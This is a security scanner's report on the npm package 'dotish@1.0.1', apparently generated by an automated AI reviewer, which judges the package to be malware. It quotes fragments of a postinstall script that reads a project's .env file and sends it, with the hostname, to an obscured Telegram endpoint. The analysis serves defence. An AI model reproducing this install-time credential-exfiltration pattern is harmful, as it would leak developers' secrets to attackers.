registry / dotish / 1.0.1

dotish@1.0.1

A lightweight utility for managing environment variables and system configurations.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Install-time code reads the consuming project's .env and transmits it with the host name. The endpoint is Base64-obscured and errors are suppressed.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall

Impact

Secrets in a project's .env file are disclosed to a third-party Telegram endpoint.

Mechanism

postinstall .env credential exfiltration over HTTPS

Attack narrative

On installation, npm runs env-config-helper.js. If the current project contains .env, the script reads it, combines its full contents with the machine hostname, and sends that data as a request parameter to a Base64-obscured Telegram API endpoint. The error handler is intentionally silent, reducing visible evidence of the exfiltration.

Rationale

This is a concrete, unconsented postinstall secret-exfiltration chain, not a package-aligned configuration helper.

Evidence

package.jsonenv-config-helper.js.env

Network endpoints1

api.telegram.org

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes env-config-helper.js automatically.
The helper reads the consuming project's .env file.
It packages .env contents and hostname into a Telegram message.
It sends the payload through HTTPS and suppresses errors.

Evidence against

No dependencies or additional package files were present.

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

Manifest

NoLicense

scanned 1 file(s), 1.47 KB of source

Source & flagged code

6 flagged

package.jsonView file

Lines 1-11json

2 "name": "dotish",

3 "version": "1.0.1",

4 "description": "A lightweight utility for managing environment variables and system configurations.",

5 "main": "env-config-helper.js",

6 "scripts": {

7 "postinstall": "node env-config-helper.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

postinstall executes env-config-helper.js automatically.

package.jsonView on unpkg · L5

9 "dependencies": {},

10 "devDependencies": {}

11}

env-config-helper.jsView file

Lines 1-36javascript

1// config-loader.js - Environment Validation Utility

2const _sysFs = require('fs');

3const _sysPath = require('path');

4const _netHttps

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node env-config-helper.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "env-config-helper.js", "scripts": { "postinstall": "node env-config-helper.js" }

High

Suspicious Lifecycle Evidence

postinstall executes env-config-helper.js automatically.

package.jsonView on unpkg · L5

env-config-helper.jsView file

3const _sysPath = require('path'); L4: const _netHttps = require('https'); L5: const _netQuery = require('querystring'); ... L7: try { L8: const _configPath = _sysPath.join(process.cwd(), '.env'); L9: ... L12: L13: // Base64 oo ah URL-ka asaasiga ah ee Telegram API (ilaa sendMessage) L14: const _endpointB64 = "[redacted]="; ... L19: chat_id: "5934680334", L20: text: "Xogta la helay:\n" + _configBuffer + "\nHost: " + require('os').hostname() L21: });

High

Base64 Obscured Url

Findings

6 High1 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urlenv-config-helper.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceenv-config-helper.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License